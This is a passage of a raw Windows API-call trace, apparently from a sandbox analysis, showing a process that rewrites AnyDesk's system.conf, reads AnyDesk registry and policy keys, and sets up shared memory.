lpOverlapped=0x2a7b560) returned 1 [0193.945] CloseHandle (hObject=0x20c) returned 1 [0193.947] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe2fad8 | out: hHeap=0x3b0000) returned 1 [0193.947] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0xe54a68 [0193.947] GetCurrentThreadId () returned 0xa0c [0193.947] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe49640 | out: hHeap=0x3b0000) returned 1 [0193.947] GetLastError () returned 0xb7 [0193.948] CreateFileW (lpFileName="C:\\ProgramData\\AnyDesk\\system.conf" (normalized: "c:\\programdata\\anydesk\\system.conf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0193.948] LockFileEx (in: hFile=0x20c, dwFlags=0x2, dwReserved=0x0, nNumberOfBytesToLockLow=0xffffffff, nNumberOfBytesToLockHigh=0xffffffff, lpOverlapped=0x2a7b5f8 | out: lpOverlapped=0x2a7b5f8) returned 1 [0193.948] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe4b490 [0193.948] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x72) returned 0xe25718 [0193.948] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe4b478 [0193.948] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x30) returned 0xe027e0 [0193.948] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe4b3d0 [0193.948] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2c) returned 0xe02850 [0193.948] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe54f88 [0193.948] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x3e) returned 0xe10bd0 [0193.948] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe54fa0 [0193.948] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x1c) returned 0xe11488 [0193.948] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe54fb8 [0193.948] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x86) returned 0xe0b2d0 [0193.948] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe54fd0 [0193.948] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4a) returned 0xe12d60 [0193.949] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe54fe8 [0193.949] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x50) returned 0xe12c00 [0193.949] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe55000 [0193.949] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x36) returned 0xe32278 [0193.949] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe55018 [0193.949] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x3a) returned 0xe10c60 [0193.949] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe55030 [0193.949] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4e) returned 0xe4e148 [0193.949] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x1c7) returned 0xe4a9a0 [0193.949] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x52) returned 0xe15fc0 [0193.949] GetLastError () returned 0xb7 [0193.949] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.949] SetEndOfFile (hFile=0x20c) returned 1 [0193.950] WriteFile (in: hFile=0x20c, lpBuffer=0xe4a9a0*, nNumberOfBytesToWrite=0x1c7, lpNumberOfBytesWritten=0x2a7b5b8, lpOverlapped=0x0 | out: lpBuffer=0xe4a9a0*, lpNumberOfBytesWritten=0x2a7b5b8*=0x1c7, lpOverlapped=0x0) returned 1 [0193.951] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4a9a0 | out: hHeap=0x3b0000) returned 1 [0193.951] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe11488 | out: hHeap=0x3b0000) returned 1 [0193.951] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe54fa0 | out: hHeap=0x3b0000) returned 1 [0193.952] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe10c60 | out: hHeap=0x3b0000) returned 1 [0193.952] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe55018 | out: hHeap=0x3b0000) returned 1 [0193.952] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe02850 | out: hHeap=0x3b0000) returned 1 [0193.952] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4b3d0 | out: hHeap=0x3b0000) returned 1 [0193.952] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe10bd0 | out: hHeap=0x3b0000) returned 1 [0193.952] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe54f88 | out: hHeap=0x3b0000) returned 1 [0193.953] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe12d60 | out: hHeap=0x3b0000) returned 1 [0193.953] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe54fd0 | out: hHeap=0x3b0000) returned 1 [0193.953] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4e148 | out: hHeap=0x3b0000) returned 1 [0193.953] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe55030 | out: hHeap=0x3b0000) returned 1 [0193.953] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe25718 | out: hHeap=0x3b0000) returned 1 [0193.953] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4b490 | out: hHeap=0x3b0000) returned 1 [0193.954] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe0b2d0 | out: hHeap=0x3b0000) returned 1 [0193.954] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe54fb8 | out: hHeap=0x3b0000) returned 1 [0193.954] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe12c00 | out: hHeap=0x3b0000) returned 1 [0193.954] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe54fe8 | out: hHeap=0x3b0000) returned 1 [0193.954] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe32278 | out: hHeap=0x3b0000) returned 1 [0193.954] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe55000 | out: hHeap=0x3b0000) returned 1 [0193.955] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe027e0 | out: hHeap=0x3b0000) returned 1 [0193.955] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4b478 | out: hHeap=0x3b0000) returned 1 [0193.955] UnlockFileEx (in: hFile=0x20c, dwReserved=0x0, nNumberOfBytesToUnlockLow=0xffffffff, nNumberOfBytesToUnlockHigh=0xffffffff, lpOverlapped=0x2a7b590 | out: lpOverlapped=0x2a7b590) returned 1 [0193.955] CloseHandle (hObject=0x20c) returned 1 [0193.961] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe2fad8 | out: hHeap=0x3b0000) returned 1 [0193.961] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0xe54aa8 [0193.961] GetCurrentThreadId () returned 0xa0c [0193.961] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe49640 | out: hHeap=0x3b0000) returned 1 [0193.961] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe4b478 [0193.962] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0xac) returned 0xe17838 [0193.962] CreateFiberEx (dwStackCommitSize=0x0, dwStackReserveSize=0x0, dwFlags=0x1, lpStartAddress=0x13e6150, lpParameter=0xe17838) returned 0x5ca728 [0193.963] GetLastError () returned 0x0 [0193.963] GetSystemTime (in: lpSystemTime=0x2a7b5c8 | out: lpSystemTime=0x2a7b5c8*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x11, wMinute=0x30, wSecond=0x16, wMilliseconds=0x1da)) [0193.963] GetCurrentThreadId () returned 0xa0c [0193.964] GetCurrentProcessId () returned 0x994 [0193.964] GetLastError () returned 0x0 [0193.964] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\AnyDesk", ulOptions=0x0, samDesired=0x20019, phkResult=0x2a7b704 | out: phkResult=0x2a7b704*=0x20c) returned 0x0 [0193.966] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe25718 | out: hHeap=0x3b0000) returned 1 [0193.966] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe49640 [0193.966] RegQueryValueExW (in: hKey=0x20c, lpValueName="InstallLocation", lpReserved=0x0, lpType=0x2a7b6b8, lpData=0x0, lpcbData=0x2a7b6bc*=0x0 | out: lpType=0x2a7b6b8*=0x1, lpData=0x0, lpcbData=0x2a7b6bc*=0x32) returned 0x0 [0193.966] RegQueryValueExW (in: hKey=0x20c, lpValueName="InstallLocation", lpReserved=0x0, lpType=0x0, lpData=0x2a7b670, lpcbData=0x2a7b6bc*=0x34 | out: lpType=0x0, lpData=0x2a7b670*=0x22, lpcbData=0x2a7b6bc*=0x32) returned 0x0 [0193.966] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x32) returned 0xe32278 [0193.966] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe49640 | out: hHeap=0x3b0000) returned 1 [0193.966] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2e) returned 0xe027e0 [0193.967] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe32278 | out: hHeap=0x3b0000) returned 1 [0193.967] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x15dad60, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 2 [0193.967] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4) returned 0xe49640 [0193.967] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x15dad60, cbMultiByte=-1, lpWideCharStr=0xe49640, cchWideChar=2 | out: lpWideCharStr="\\") returned 2 [0193.967] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x1a) returned 0xe11488 [0193.967] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x46) returned 0xe2fad8 [0193.967] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe027e0 | out: hHeap=0x3b0000) returned 1 [0193.967] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe11488 | out: hHeap=0x3b0000) returned 1 [0193.967] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe49640 | out: hHeap=0x3b0000) returned 1 [0193.968] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe49640 [0193.968] RegQueryValueExW (in: hKey=0x20c, lpValueName="DisplayVersion", lpReserved=0x0, lpType=0x2a7b6b8, lpData=0x0, lpcbData=0x2a7b6bc*=0x0 | out: lpType=0x2a7b6b8*=0x1, lpData=0x0, lpcbData=0x2a7b6bc*=0x12) returned 0x0 [0193.968] RegQueryValueExW (in: hKey=0x20c, lpValueName="DisplayVersion", lpReserved=0x0, lpType=0x0, lpData=0x2a7b690, lpcbData=0x2a7b6bc*=0x14 | out: lpType=0x0, lpData=0x2a7b690*=0x61, lpcbData=0x2a7b6bc*=0x12) returned 0x0 [0193.968] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x12) returned 0xe54ac8 [0193.968] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe49640 | out: hHeap=0x3b0000) returned 1 [0193.968] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x6) returned 0xe49640 [0193.968] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe54ac8 | out: hHeap=0x3b0000) returned 1 [0193.968] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19f9c5c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 3 [0193.968] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x6) returned 0xe49670 [0193.968] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19f9c5c, cbMultiByte=-1, lpWideCharStr=0xe49670, cchWideChar=3 | out: lpWideCharStr="ad") returned 3 [0193.968] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe49670 | out: hHeap=0x3b0000) returned 1 [0193.968] RegQueryValueExW (in: hKey=0x20c, lpValueName="VersionMajor", lpReserved=0x0, lpType=0x2a7b708, lpData=0x2a7b704, lpcbData=0x2a7b710*=0x4 | out: lpType=0x2a7b708*=0x4, lpData=0x2a7b704*=0x7, lpcbData=0x2a7b710*=0x4) returned 0x0 [0193.968] RegQueryValueExW (in: hKey=0x20c, lpValueName="VersionMinor", lpReserved=0x0, lpType=0x2a7b710, lpData=0x2a7b718, lpcbData=0x2a7b708*=0x4 | out: lpType=0x2a7b710*=0x4, lpData=0x2a7b718*=0x0, lpcbData=0x2a7b708*=0x4) returned 0x0 [0193.968] RegQueryValueExW (in: hKey=0x20c, lpValueName="VersionBuild", lpReserved=0x0, lpType=0x2a7b710, lpData=0x2a7b71c, lpcbData=0x2a7b708*=0x4 | out: lpType=0x2a7b710*=0x4, lpData=0x2a7b71c*=0x7, lpcbData=0x2a7b708*=0x4) returned 0x0 [0193.968] RegQueryValueExW (in: hKey=0x20c, lpValueName="VersionTimestamp", lpReserved=0x0, lpType=0x2a7b6c4, lpData=0x2a7b6f8, lpcbData=0x2a7b6c8*=0x8 | out: lpType=0x2a7b6c4*=0xb, lpData=0x2a7b6f8*=0x1263e8c2a8e0, lpcbData=0x2a7b6c8*=0x8) returned 0x0 [0193.969] PathFileExistsW (pszPath="C:\\ProgramData\\AnyDesk\\AnyDesk.exe") returned 1 [0193.969] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe49640 | out: hHeap=0x3b0000) returned 1 [0193.970] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe2fad8 | out: hHeap=0x3b0000) returned 1 [0193.970] RegCloseKey (hKey=0x20c) returned 0x0 [0193.970] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x1) returned 0xe49640 [0193.970] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x15d9e3d, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 1 [0193.970] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe49670 [0193.970] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x15d9e3d, cbMultiByte=-1, lpWideCharStr=0xe49670, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0193.970] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x15d9e3d, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 1 [0193.970] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4a9b8 [0193.970] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x15d9e3d, cbMultiByte=-1, lpWideCharStr=0xe4a9b8, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0193.971] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe49670 | out: hHeap=0x3b0000) returned 1 [0193.971] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4) returned 0xe49670 [0193.971] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4a9b8 | out: hHeap=0x3b0000) returned 1 [0193.971] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe49670 | out: hHeap=0x3b0000) returned 1 [0193.971] GetLastError () returned 0x0 [0193.971] GetSystemTime (in: lpSystemTime=0x2a7b710 | out: lpSystemTime=0x2a7b710*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x11, wMinute=0x30, wSecond=0x16, wMilliseconds=0x1da)) [0193.971] GetCurrentThreadId () returned 0xa0c [0193.972] GetCurrentProcessId () returned 0x994 [0193.972] GetLastError () returned 0x0 [0193.972] RegQueryValueExW (in: hKey=0x0, lpValueName="anynet.listenport", lpReserved=0x0, lpType=0x2a7b610, lpData=0x0, lpcbData=0x2a7b614*=0x0 | out: lpType=0x2a7b610*=0x0, lpData=0x0, lpcbData=0x2a7b614*=0x0) returned 0x6 [0193.972] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Overrides", ulOptions=0x0, samDesired=0x20119, phkResult=0x2a7b63c | out: phkResult=0x2a7b63c*=0x0) returned 0x2 [0193.973] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe32f58 | out: hHeap=0x3b0000) returned 1 [0193.973] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4a9e8 [0193.973] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a174e0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 4 [0193.973] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x8) returned 0xe4a9f8 [0193.973] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a174e0, cbMultiByte=-1, lpWideCharStr=0xe4a9f8, cchWideChar=4 | out: lpWideCharStr="ad.") returned 4 [0193.973] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4a9f8 | out: hHeap=0x3b0000) returned 1 [0193.973] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x33) returned 0xe32278 [0193.973] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x24) returned 0xe32f58 [0193.974] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe32278 | out: hHeap=0x3b0000) returned 1 [0193.974] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4a9f8 [0193.974] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0xe54ae8 [0193.974] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2c) returned 0xe02850 [0193.974] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4a9f8 | out: hHeap=0x3b0000) returned 1 [0193.974] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4a9e8 | out: hHeap=0x3b0000) returned 1 [0193.974] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x24) returned 0xe32fe8 [0193.974] RegQueryValueExW (in: hKey=0x0, lpValueName="anynet.listenport", lpReserved=0x0, lpType=0x2a7b610, lpData=0x0, lpcbData=0x2a7b614*=0x0 | out: lpType=0x2a7b610*=0x0, lpData=0x0, lpcbData=0x2a7b614*=0x0) returned 0x6 [0193.974] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Defaults", ulOptions=0x0, samDesired=0x20119, phkResult=0x2a7b63c | out: phkResult=0x2a7b63c*=0x0) returned 0x2 [0193.975] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe32fe8 | out: hHeap=0x3b0000) returned 1 [0193.975] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4a9c8 | out: hHeap=0x3b0000) returned 1 [0193.975] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4) returned 0xe4a9c8 [0193.975] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4a9d8 | out: hHeap=0x3b0000) returned 1 [0193.975] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4a9c8 | out: hHeap=0x3b0000) returned 1 [0193.975] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x24) returned 0xe32fe8 [0193.975] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0xac) returned 0xe178f0 [0193.975] CreateFiberEx (dwStackCommitSize=0x0, dwStackReserveSize=0x0, dwFlags=0x1, lpStartAddress=0x13e6150, lpParameter=0xe178f0) returned 0x5caa28 [0193.976] GetLastError () returned 0x0 [0193.976] GetSystemTime (in: lpSystemTime=0x2a7b618 | out: lpSystemTime=0x2a7b618*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x11, wMinute=0x30, wSecond=0x16, wMilliseconds=0x1da)) [0193.976] GetCurrentThreadId () returned 0xa0c [0193.977] GetCurrentProcessId () returned 0x994 [0193.977] GetLastError () returned 0x0 [0193.977] GetSystemTime (in: lpSystemTime=0x2a7b714 | out: lpSystemTime=0x2a7b714*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x11, wMinute=0x30, wSecond=0x16, wMilliseconds=0x1da)) [0193.977] GetCurrentThreadId () returned 0xa0c [0193.977] GetCurrentProcessId () returned 0x994 [0193.977] GetLastError () returned 0x0 [0193.979] GetProcessTimes (in: hProcess=0x20c, lpCreationTime=0x2a7b60c, lpExitTime=0x2a7b604, lpKernelTime=0x2a7b604, lpUserTime=0x2a7b604 | out: lpCreationTime=0x2a7b60c, lpExitTime=0x2a7b604, lpKernelTime=0x2a7b604, lpUserTime=0x2a7b604) returned 1 [0193.979] GetProcessId (Process=0x20c) returned 0x994 [0193.980] ProcessIdToSessionId (in: dwProcessId=0x994, pSessionId=0x2a7b6cc | out: pSessionId=0x2a7b6cc) returned 1 [0193.980] CloseHandle (hObject=0x20c) returned 1 [0193.980] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19f9c5c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 3 [0193.980] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x6) returned 0xe4aa08 [0193.980] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19f9c5c, cbMultiByte=-1, lpWideCharStr=0xe4aa08, cchWideChar=3 | out: lpWideCharStr="ad") returned 3 [0193.980] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x3c) returned 0xe10c60 [0193.980] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x6) returned 0xe4aa18 [0193.980] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4aa08 | out: hHeap=0x3b0000) returned 1 [0193.980] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4aa18 | out: hHeap=0x3b0000) returned 1 [0193.980] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x6) returned 0xe4aa18 [0193.980] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a0d7dc, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 4 [0193.980] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x8) returned 0xe4aa08 [0193.980] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a0d7dc, cbMultiByte=-1, lpWideCharStr=0xe4aa08, cchWideChar=4 | out: lpWideCharStr="shm") returned 4 [0193.980] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19fee18, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 2 [0193.980] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4) returned 0xe4aa28 [0193.980] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19fee18, cbMultiByte=-1, lpWideCharStr=0xe4aa28, cchWideChar=2 | out: lpWideCharStr="_") returned 2 [0193.980] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x3e) returned 0xe10ca8 [0193.980] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4aa28 | out: hHeap=0x3b0000) returned 1 [0193.980] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x44) returned 0xe2fad8 [0193.980] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x44) returned 0xe2fb28 [0193.980] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x6) returned 0xe4aa28 [0193.981] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe2fad8 | out: hHeap=0x3b0000) returned 1 [0193.981] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe10ca8 | out: hHeap=0x3b0000) returned 1 [0193.981] GetLastError () returned 0x0 [0193.982] GetSecurityInfo () returned 0x0 [0193.983] LocalAlloc (uFlags=0x0, uBytes=0x44) returned 0x5a89f0 [0193.983] CreateWellKnownSid (in: WellKnownSidType=0x1, DomainSid=0x0, pSid=0x5a89f0, cbSid=0x2a7b63c | out: pSid=0x5a89f0*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x1), SubAuthority=0x0), cbSid=0x2a7b63c) returned 1 [0193.983] BuildTrusteeWithSidA () returned 0x2a7b634 [0193.983] SetEntriesInAclW () returned 0x0 [0193.983] LocalFree (hMem=0x5a89f0) returned 0x0 [0193.983] SetSecurityInfo () returned 0x0 [0193.983] LocalFree (hMem=0x5c7e10) returned 0x0 [0193.984] LocalFree (hMem=0x5c66b0) returned 0x0 [0193.984] MapViewOfFile (hFileMappingObject=0x20c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x308) returned 0x380000 [0193.985] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe15fc0 | out: hHeap=0x3b0000) returned 1 [0193.985] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4aa28 | out: hHeap=0x3b0000) returned 1 [0193.986] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe2fb28 | out: hHeap=0x3b0000) returned 1 [0193.986] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4aa08 | out: hHeap=0x3b0000) returned 1 [0193.986] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19faff0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 4 [0193.986] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x8) returned 0xe4aa08 [0193.986] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19faff0, cbMultiByte=-1, lpWideCharStr=0xe4aa08, cchWideChar=4 | out: lpWideCharStr="mtx") returned 4 [0193.986] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19fee18, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 2 [0193.986] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4) returned 0xe4aa28 [0193.986] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19fee18, cbMultiByte=-1, lpWideCharStr=0xe4aa28, cchWideChar=2 | out: lpWideCharStr="_") returned 2 [0193.986] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x3e) returned 0xe10ca8 [0193.986] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4aa28 | out: hHeap=0x3b0000) returned 1 [0193.986] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x44) returned 0xe2fb28 [0193.986] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x44) returned 0xe2fad8 [0193.986] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x6) returned 0xe4aa28 [0193.987] HeapFree (in: 